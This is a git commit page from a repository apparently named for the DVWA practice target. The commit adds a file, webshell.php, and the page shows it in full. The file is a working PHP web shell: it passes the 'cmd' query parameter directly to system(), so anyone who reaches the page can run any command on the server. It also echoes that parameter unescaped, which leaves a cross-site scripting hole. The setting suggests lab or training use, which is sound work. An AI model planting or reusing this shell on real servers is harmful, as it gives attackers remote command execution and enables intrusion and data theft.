diff options
| author | jerome <jerome@xlinfo.fr> | 2023-09-19 17:02:40 +0200 |
|---|---|---|
| committer | jerome <jerome@xlinfo.fr> | 2023-09-19 17:02:40 +0200 |
| commit | 2585495cfab54366a668777216b88a4f4b686102 (patch) | |
| tree | 9487b4d11eba4f46566a4a99bcef512d79717e74 /webshell.php | |
| download | dvwa-2585495cfab54366a668777216b88a4f4b686102.tar.gz dvwa-2585495cfab54366a668777216b88a4f4b686102.zip | |
commit initial
Diffstat (limited to 'webshell.php')
| -rw-r--r-- | webshell.php | 19 |
1 files changed, 19 insertions, 0 deletions
diff --git a/webshell.php b/webshell.php new file mode 100644 index 0000000..679bb7a --- /dev/null +++ b/webshell.php @@ -0,0 +1,19 @@ +<!DOCTYPE html> +<html> +<head> +<title>Web shell</title> +</head> +<body> +<h1>Web shell</h1> +<p>Votre commande : +<?php if (isset($_GET['cmd'])) echo $_GET['cmd'] ?> +</p> +<form> +<input type="text" name="cmd" autofocus /> +<input type="submit" /> +</form> +<pre> +<?php if (isset($_GET['cmd'])) system($_GET['cmd']) ?> +</pre> +</body> +</html> |
